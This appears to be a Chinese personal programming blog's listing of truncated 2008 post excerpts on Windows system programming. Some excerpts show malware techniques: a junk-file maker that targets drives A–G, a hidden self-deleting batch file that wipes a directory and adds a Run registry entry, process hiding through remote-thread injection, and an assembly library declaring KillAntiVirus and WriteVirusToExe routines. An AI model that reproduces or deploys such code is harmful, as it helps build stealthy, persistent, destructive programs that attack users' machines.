博文
删除文件功能的程序(2008-06-15 20:32:00)
摘要:/**********************************IN FACT,IT"S NOT A VIRYUS AT ALL.**********************************/
#include <io.h>#include <dir.h>#include <stdio.h>#include <stdlib.h>#include <string.h>
/* copy outfile to infile */void copyfile(char *infile, char *outfile){ FILE *in,*out;
in = fopen(infile,"r"); out = fopen(outfile,"w");
while (!feof(in)) { fputc(fgetc(in),out); }
fclose(in); fclose(out);}
/*
This function named Rubbishmaker.
*/void MakeRubbish(){ int i; FILE *fp; char *path; char *NewName; char *disk[7] = {"A","B","C","D","E","F","G"}; char *addtion = ":\\";
/* Make some rubbish at the current catalogue */......
字符串原样输出技巧(2008-06-07 20:41:00)
摘要:有什么方便的方式向文件中输入以下内容for /f "tokens=1-4 delims=:. " %%h in ("%time%") do set start_=%%h%%i%%j%%k
使用 #include <stdio.h>
int main(){ FILE *output = NULL; if((output=fopen("$.bat","w"))==NULL) return -1 ; fprintf(output,"for /f \"tokens=1-4 delims=:. \" %%%%h in (\"%%time%%\") do set start_=%%%%h%%%%i%%%%j%%%%k\n"); fclose(output); return 0;}对吗?
对的,但是你有没有感觉累呀!比如这个字符串很长很长
不断的对这些特殊字符进行手工调整,不累夸你!怎么办呢?动脑筋呀!
下面就是使用宏定义方式的实现了这个功能 VC 下通过 2008/6/7
#include <iostream.h>#include<fstream.h>#define FPrint(x) fout<< #x << endl#define Print(x) cout << #x << endl
int main(){ ofstream fout("ds.txt"); FPrint(for /f "tokens=1-4 delims=:. " %%h in ("%time%") do set start_=%%h%%i%%j%%k\n); Print(for /f "tokens=1-4 delims=:. " %%h in ("%time%") do set start_=%%h%%i%%j%%k\n); fout.close(); return 0;}
怎么样?是不是很方便,想输出什么就复制什么!......
自删除程序小结(2008-06-07 18:48:00)
摘要:基本思路:
使用C程序,在程序结束运行之前创建一个批处理文件$.bat
然后在程序最后退出之前调用这个批处理文件 WinExec("$.bat",SW_HIDE);
注意:不能使用 system("$.bat");因为system需要等待system调用结束才执行下面的代码
只要在这个批处理文件中包含删除这个程序 aa.exe 和删除自身批处理文件$.bat功能就可
代码为:del /q/s aa.exe 和 del /q/s %0
具体实现示例使用C代码
#include <stdio.h>#include <stdlib.h>#include <windows.h>
int main(){ FILE *output = NULL; if((output=fopen("$.bat","w"))==NULL) return -1 ; fprintf(output,"@echo off\n"\ "set tt = %%cd%%\n"\ "rd c:\\zhong /s/q \n"\ "md c:\\zhong\n"\ "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v * /d * /f\n"\ "cd %%tt%%\n"\ "del /q/s aa.exe \n"\ "del /q/s %%0\n"\ "exit\n"); fclose(output); WinExec("$.bat",SW_HIDE); //system("pause"); return 0;}
运行后看看什么效果:)
晕,怎么这个aa.exe仍来在呀!!不要慌,把这个system("pause")注释去掉看看有什么
对了 aa.exe拒绝访问,为什么会这样......
病毒专杀工具自己编(2008-06-06 21:27:00)
摘要:此文中讲解的病毒专杀工具是针对木马、蠕虫等独立的程序而言的广义的病毒而言,而不是指那种自我复制感染PE文件的依附于其他程序的那种狭义的病毒。因为写那种病毒的专杀工具需要PE文件结构等知识,相对而言有点难度,所以我们就先从相对简单点的开始,难的以后再介绍。 对于大多数病毒而言,杀毒的思路其实很简单,那就是:终止病毒的进程、删除自启动项目(一般在注册表中的run*主键下)、删除病毒文件,对设置了文件关联的病毒而言还要修改注册表恢复文件关联。下面将分别陈述。 一.终止进程 以前网上曾有许多朋友问我怎么根据文件名终止指定进程,为什么使用函数TerminateProcess()不能直接终止指定进程。首先让我们来看看函数TerminateProcess()的声明吧:Bool TerminateProcess(HANDLE hPeocess,UINT uExitCode),其中第一个参数为进程句柄,而不是进程名称(文件名)。那怎样才能获得指定进程的句柄呢?我们可以使用函数OpenProcess(),其原型为 HANDLE OpenProcess( DWORD dwDesiredAccess, // 访问标志 BOOL bInheritHandle, // 处理继承的标志 DWORD dwProcessId // 进程标识号,即进程ID ); 在使用时只要在main()主函数里调用函数KillProcessFromName(),把参数设为你要终止的进程的名称即可,Win9X则需包括路径。还有一点值得注意一下,就是别忘了#include 。 二、删除文件 这一步骤很简单,调用函数DeleteFile()即可,Bool DeleteFile(LPCTSTR lpFilename),把lpFilename设要指向删除的文件的文件名的指针即可,可包含具体路径。 三、修改注册表,删除启动项及文件关联 首先用函数RegOpenKeyEx()打开目标主键,RegOpenKeyEx()函数原型为: LONG RegOpenKeyEx( HKEY hKey,// 将要打开的键的句柄 LPCTSTR lpSubKey,// 指向将要打开的包含子建的名称字符串指针 DWORD ulOptions,// 为保留字,必须为NULL REGSAM samDesired,// 访问权限 PHKEY phkRes......
WinNT & Win2K下实现进程的完全隐藏(2008-06-06 21:24:00)
摘要:WinNT & Win2K下实现进程的完全隐藏
作者:AntGhazi 主页:antghazi.yeah.net
面对众多的计算机高手,考虑许久,终于还是决定出来献丑一下,文章内尽量使用最简洁易懂的词汇及例子来介绍,希望能够对一些初学与进阶者有所帮助。 关于进程的隐藏,98下的例子数不胜数。WinNT/Win2K下的隐藏方法,西祠的高手shotgun在去年的6月就已经在网上发布出实例《揭开木马的神秘面纱<四>》 ,我也多次拜读他的文章,对他的计算机水平及热心帮助朋友的作风十分敬佩。这里也可算是对shotgun的文章的补充与深入介绍吧,好了,闲话少说。在WinNT下"真正隐藏进程"这一说法,可以讲是根本不可能实现,只要我们的程序是以进程内核的形式行,都是不可能逃离CTRL+ALT+DEL的法眼。那么奇怪了,这岂不是与我们的标题《WinNT & Win2K下实现进程的完全隐藏》相矛盾吗?是的,实际上应该是:以非进程方式执行目标代码,而逃避进程查看器的检查,从而达到"进程隐藏"的目的。我们这里用的,是在宿主进程中,以线程的方式执行我们的代码。实现起来非常简单。首先,我们先建立一个不执行任何语句的线程DWORD stdcall ThreadProc(LPVOID *lpVoid){ return 0; }然后,将线程代码拷备至宿主进程所能够执行的任何地方(即页面属性为PAGGE_EXECUTE_READWRITE),如:共享内存影射区、宿主进程内。这里我们选择宿主进程,拷备的时侯,我们需要先在宿主进程中使用VirtualAllocEx函数申请一段内存,然后再使用WriteProcessMemory将线程体写入宿主进程中。以上工作完成后,我们便可CreateRemoteThread函数激活其执行。下面给出一个完整的例子//远程线程执行体DWORD __stdcall ThreadProc (void *lpPara){ return 0;}int main(int argc, char* argv[]){ const DWORD THREADSIZE=1024*4;//暂定线程体大小为4K,实际上没这么大,稍后我将会介绍 ......
附加一个线程在 explorer.exe 上执行代码(2008-06-06 21:21:00)
摘要:以前写过 线程附加模块 现在找不到了 原理就是 附加一个线程在 explorer.exe 上执行代码(我认为具有极高的隐蔽性 因为程序运行后没有进程被创建只是在explorer.exe 上多了个线程而以)。
感谢 罗聪 兄的帮助 以前写汇编代码时我遇到问题就去找他 呵呵! 不过你也够强的 QQ 都n个太阳了 就没见你上过线丫的超级潜水员.
;##########################################################; Shadow MASM Public Function Library;##########################################################
;########################################################## GetWindowsVer proto KillAntiVirus proto vBackupFile proto ReadVirusToMem proto :DWORD WriteVirusToExe proto :DWORD, :DWORD;##########################################################
;##########################################################; 判断 Windows 版本 测试通过;########################################################## GetWindowsVer proc LOCAL OSVI:OSVERSIONINFO mov OSVI.dwOSVersionInfoSize,SIZEOF(OSVERSIONINFO) invoke GetVersionEx,addr OSVI xor ebx,ebx .IF OSVI.dwPlatformId == VER_PLA......
VC平台下汇编和C的嵌套使用示例(2008-06-01 19:30:00)
摘要: 内联汇编调用C/C++函数必须自己清除堆栈,下面是一个调用C/C++函数例子:
#include <stdio.h>
char szformat[]= "%s %s\n" ;char szHello[] = "Hello" ;char szWorld[] = "world" ;
void main(){ __asm { MOV EAX,OFFSET szWorld PUSH EAX MOV EAX,OFFSET szHello PUSH EAX MOV EAX,OFFSET szformat PUSH EAX CALL printf ; 内联汇编调用C函数必须自己清除堆栈 ; 用不使用的EBX寄存器清除堆栈,或ADD ESP, 12 POP EBX POP EBX POP EBX }}
注意:函数参数是从右......
遍历目录树(2008-05-31 18:12:00)
摘要: //从任意节点开始遍历目录树,Copyright (C) Y.B.Chen //已经在 Borland C++ 3.1 for DOS 和 Borland C++ Builder 6.0 下编译通过 #include <stdio.h> #include <conio.h> #include <dir.h> #include <dos.h> #include <string.h> int lines = 0; //保存已经显示出几行了,如果到了一屏需要暂停 int bQuit = 0; //是否按了Esc键,如果按了Esc键,此数为非零,程序退出 void clines(void) //计算已经输出的行数,如果满一屏就暂停 { unsigned int k; if(lines&&(!(lines%23))) &nb......
卸载其他进程已加载模块(2008-05-31 17:29:00)
摘要: #i nclude "stdafx.h" #i nclude <windows.h> #i nclude <stdio.h> #i nclude <Tlhelp32.h> typedef struct RemoteInfo { DWORD dwLoadLibrary; DWORD ModuleAddr; }RemotePara; //传递给远程线程的参数 DWORD WINAPI ThreadProc (RemotePara *lpPara) { typedef BOOL (__stdcall *pFreeLibrary)(DWORD); pFreeLibrary pFuckLibrary; pFuckLibrary = (pFreeLibrary)lpPara->dwLoadLibrary; pFuckLibrary(lpPara->ModuleAddr); //模块基地址 return 0; } int main(int argc, char* argv[]) { MODULEENTRY32 ModuleStor; RemotePara pRemoteCallParam; &......
traits 使用特性(2008-05-21 22:45:00)
摘要:// VC6.0 2008/5/20
#include "iostream"using namespace std;
class SimpleCompareTrait { };class ComplexCompareTrait { };
template<class T> class ComplexCompare{public: typedef T ValueType; typedef ComplexCompareTrait CompareTrait;};
template<class T> class SimpleCompare{public: typedef T ValueType; typedef SimpleCompareTrait CompareTrait;};
template<class T, class Iterator, class Compare>Iterator __LowerBound(Iterator first, Iterator last, T val, Compare comp, ComplexCompareTrait){ size_t len = 0; size_t half; Iterator middle; len = last - first; while (len > 0) { half = len >> 1; middle = first; middle += half; if (comp(*middle, val) < 0) { first = middle; ++first; len = len - half - 1; } else len = half; } return first;}
template<class T, class Iterator, clas......
